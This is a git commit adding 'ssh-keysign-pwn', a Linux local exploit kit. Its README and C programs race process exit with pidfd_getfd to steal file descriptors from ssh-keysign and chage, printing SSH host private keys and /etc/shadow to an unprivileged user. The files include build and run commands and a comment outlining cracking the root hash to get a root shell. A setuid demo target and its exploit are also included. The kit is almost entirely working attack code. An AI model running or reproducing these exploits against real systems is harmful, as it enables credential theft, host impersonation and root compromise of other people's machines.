commit 565548753bd26538390638a680a911a7924c1271 Author: 0xdeadbeefnetwork Date: Thu May 14 18:44:20 2026 -0400 ssh-keysign-pwn diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9e572d0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +sshkeysign_pwn +chage_pwn +vuln_target +exploit_vuln_target +*.o diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..21eac8a --- /dev/null +++ b/Makefile @@ -0,0 +1,22 @@ +CFLAGS ?= -O2 -Wall + +ALL = sshkeysign_pwn chage_pwn vuln_target exploit_vuln_target + +all: $(ALL) + +sshkeysign_pwn: sshkeysign_pwn.c + $(CC) $(CFLAGS) -o $@ $< + +chage_pwn: chage_pwn.c + $(CC) $(CFLAGS) -o $@ $< + +vuln_target: vuln_target.c + $(CC) $(CFLAGS) -o $@ $< + +exploit_vuln_target: exploit_vuln_target.c + $(CC) $(CFLAGS) -o $@ $< + +clean: + rm -f $(ALL) + +.PHONY: all clean diff --git a/README.md b/README.md new file mode 100644 index 0000000..d388894 --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +# ssh-keysign-pwn + +> "It is a fearful thing to fall into the hands of the living God." — Hebrews 10:31 + +Read root-owned files as an unprivileged user. Pre-`31e62c2ebbfd` kernels (everything in stable as of 2026-05-14). + +![demo](demo.gif) + +## The bug + +`__ptrace_may_access()` skips the dumpable check when `task->mm == NULL`. `do_exit()` runs `exit_mm()` before `exit_files()` — no mm, fds still there. `pidfd_getfd(2)` succeeds in that window when the caller's uid matches the target's. + +Reported by Qualys, fixed by Linus 2026-05-14. Jann Horn flagged the FD-theft shape in [October 2020](https://lore.kernel.org/all/20201016230915.1972840-1-jannh@google.com/). Six years. + +## Targets + +**`sshkeysign_pwn`** — pulls `/etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key`. `ssh-keysign.c` opens them (mode 0600) before `permanently_set_uid()`, then bails on `EnableSSHKeysign=no` with the fds still open. Same shape since 2002. + +**`chage_pwn`** — pulls `/etc/shadow`. `chage -l ` calls `spw_open(O_RDONLY)` then `setreuid(ruid, ruid)`. Both args set means uid=euid=suid=ruid: full drop. Race the exit, lift the shadow fd, crack the root hash offline. + +## Build and run + +```sh +make +./sshkeysign_pwn # host keys +./chage_pwn root # /etc/shadow content +``` + +Either prints the file on stdout. Hits in 100–2000 spawns. + +## Confirmed + +Raspberry Pi OS Bookworm 6.12.75, Debian 13, Ubuntu 22.04 / 24.04 / 26.04, Arch, CentOS 9. + +## Controlled-target PoC + +`vuln_target.c` opens `/etc/shadow` then drops. `exploit_vuln_target.c` shows `EPERM` while it's alive and the steal post-`SIGKILL`. + +```sh +sudo install -m 4755 vuln_target /usr/local/bin/vuln_target +./exploit_vuln_target /usr/local/bin/vuln_target +``` diff --git a/chage_pwn.c b/chage_pwn.c new file mode 100644 index 0000000..2a85494 --- /dev/null +++ b/chage_pwn.c @@ -0,0 +1,78 @@ +/* + * "It is a fearful thing to fall into the hands of the living God." + * — Hebrews 10:31 + * + * chage -l opens /etc/passwd and /etc/shadow before + * setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL + * window in do_exit() lets pidfd_getfd lift the /etc/shadow fd. + * + * Crack the root hash offline -> su - -> root shell. + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef __NR_pidfd_open +#define __NR_pidfd_open 434 +#endif +#ifndef __NR_pidfd_getfd +#define __NR_pidfd_getfd 438 +#endif + +int main(int argc, char **argv) +{ + const char *user = argc > 1 ? argv[1] : "root"; + + for (int round = 0; round < 500; round++) { + pid_t c = fork(); + if (c == 0) { + int dn = open("/dev/null", O_RDWR); + dup2(dn, 1); dup2(dn, 2); + execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL); + _exit(127); + } + int pfd = syscall(__NR_pidfd_open, c, 0); + if (pfd < 0) { waitpid(c, NULL, 0); continue; } + + int got = -1; + for (int a = 0; a < 30000 && got < 0; a++) { + for (int i = 3; i < 32; i++) { + int s = syscall(__NR_pidfd_getfd, pfd, i, 0); + if (s < 0) continue; + char p[256] = {0}, lk[64]; + snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); + ssize_t n = readlink(lk, p, sizeof(p) - 1); + if (n > 0) p[n] = 0; + if (strstr(p, "/etc/shadow")) { + fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a); + got = s; + break; + } + close(s); + } + } + + if (got >= 0) { + char buf[8192]; + lseek(got, 0, SEEK_SET); + ssize_t n; + while ((n = read(got, buf, sizeof(buf))) > 0) + fwrite(buf, 1, n, stdout); + close(got); + close(pfd); + waitpid(c, NULL, 0); + return 0; + } + close(pfd); + waitpid(c, NULL, 0); + } + fprintf(stderr, "no hit in 500 rounds\n"); + return 1; +} diff --git a/demo.gif b/demo.gif new file mode 100644 index 0000000..7dac853 Binary files /dev/null and b/demo.gif differ diff --git a/demo.mp4 b/demo.mp4 new file mode 100644 index 0000000..0458fbd Binary files /dev/null and b/demo.mp4 differ diff --git a/exploit_vuln_target.c b/exploit_vuln_target.c new file mode 100644 index 0000000..2b1e74e --- /dev/null +++ b/exploit_vuln_target.c @@ -0,0 +1,70 @@ +/* Same primitive against the controlled target. Alive -> EPERM, + * after SIGKILL -> /etc/shadow fd is ours. */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef __NR_pidfd_open +#define __NR_pidfd_open 434 +#endif +#ifndef __NR_pidfd_getfd +#define __NR_pidfd_getfd 438 +#endif + +int main(int argc, char **argv) +{ + if (argc < 2) { fprintf(stderr, "usage: %s /path/to/vuln_target\n", argv[0]); return 1; } + + pid_t c = fork(); + if (c == 0) { execl(argv[1], argv[1], (char *)NULL); _exit(127); } + usleep(200 * 1000); + + int pfd = syscall(__NR_pidfd_open, c, 0); + if (pfd < 0) { perror("pidfd_open"); kill(c, SIGKILL); return 1; } + + for (int i = 3; i < 10; i++) { + int s = syscall(__NR_pidfd_getfd, pfd, i, 0); + if (s >= 0) { close(s); continue; } + if (errno == EPERM) { + fprintf(stderr, "alive: EPERM on fd %d\n", i); + break; + } + } + + kill(c, SIGKILL); + + int got = -1; + for (int a = 0; a < 20000 && got < 0; a++) { + for (int i = 3; i < 16; i++) { + int s = syscall(__NR_pidfd_getfd, pfd, i, 0); + if (s < 0) continue; + char p[256] = {0}, lk[64]; + snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); + if (readlink(lk, p, sizeof(p) - 1) > 0 && strstr(p, "/etc/shadow")) { + fprintf(stderr, "fd %d -> %s (try %d)\n", i, p, a); + got = s; + break; + } + close(s); + } + } + + if (got >= 0) { + char buf[4096]; + lseek(got, 0, SEEK_SET); + ssize_t n = read(got, buf, sizeof(buf) - 1); + if (n > 0) { buf[n] = 0; fputs(buf, stdout); } + close(got); + } + + close(pfd); + waitpid(c, NULL, 0); + return got >= 0 ? 0 : 1; +} diff --git a/sshkeysign_pwn.c b/sshkeysign_pwn.c new file mode 100644 index 0000000..adbb07f --- /dev/null +++ b/sshkeysign_pwn.c @@ -0,0 +1,98 @@ +/* + * "It is a fearful thing to fall into the hands of the living God." + * — Hebrews 10:31 + * + * ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid(). + * Bails out with the fds still open on EnableSSHKeysign=no. Race the + * exit window with pidfd_getfd. mm-NULL bypasses the dumpable check + * (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14). + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef __NR_pidfd_open +#define __NR_pidfd_open 434 +#endif +#ifndef __NR_pidfd_getfd +#define __NR_pidfd_getfd 438 +#endif + +static int pidfd_open(pid_t pid, unsigned f) +{ + return syscall(__NR_pidfd_open, pid, f); +} + +static int pidfd_getfd(int pfd, int fd, unsigned f) +{ + return syscall(__NR_pidfd_getfd, pfd, fd, f); +} + +static const char *PATHS[] = { + "/usr/libexec/ssh-keysign", + "/usr/libexec/openssh/ssh-keysign", + "/usr/lib/ssh/ssh-keysign", + "/usr/lib/openssh/ssh-keysign", + NULL, +}; + +int main(void) +{ + const char *bin = NULL; + for (int i = 0; PATHS[i]; i++) + if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; } + if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; } + fprintf(stderr, "uid=%d target=%s\n", getuid(), bin); + + for (int round = 0; round < 500; round++) { + pid_t c = fork(); + if (c == 0) { + int dn = open("/dev/null", O_RDWR); + dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); + execl(bin, "ssh-keysign", (char *)NULL); + _exit(127); + } + + int pfd = pidfd_open(c, 0); + if (pfd < 0) { waitpid(c, NULL, 0); continue; } + + int hit = 0; + for (int a = 0; a < 30000 && !hit; a++) { + for (int i = 3; i < 32; i++) { + int s = pidfd_getfd(pfd, i, 0); + if (s < 0) continue; + + char p[256] = {0}, lk[64]; + snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); + ssize_t n = readlink(lk, p, sizeof(p) - 1); + if (n > 0) p[n] = 0; + + if (strstr(p, "ssh_host_") && strstr(p, "_key")) { + fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a); + char buf[4096]; + lseek(s, 0, SEEK_SET); + ssize_t k = read(s, buf, sizeof(buf) - 1); + if (k > 0) { buf[k] = 0; fputs(buf, stdout); } + close(s); + hit = 1; + break; + } + close(s); + } + } + + close(pfd); + waitpid(c, NULL, 0); + if (hit) return 0; + } + + fprintf(stderr, "no hit in 500 rounds\n"); + return 1; +} diff --git a/vuln_target.c b/vuln_target.c new file mode 100644 index 0000000..6b387b5 --- /dev/null +++ b/vuln_target.c @@ -0,0 +1,22 @@ +/* Setuid target that opens /etc/shadow before dropping. Install as + * setuid root; exploit with exploit_vuln_target.c. */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + int fd = open("/etc/shadow", O_RDONLY); + if (fd < 0) { perror("open"); return 1; } + + if (setuid(getuid()) < 0) { perror("setuid"); return 1; } + + if (argc > 1 && !strcmp(argv[1], "exit-now")) + return 0; + pause(); + return 0; +}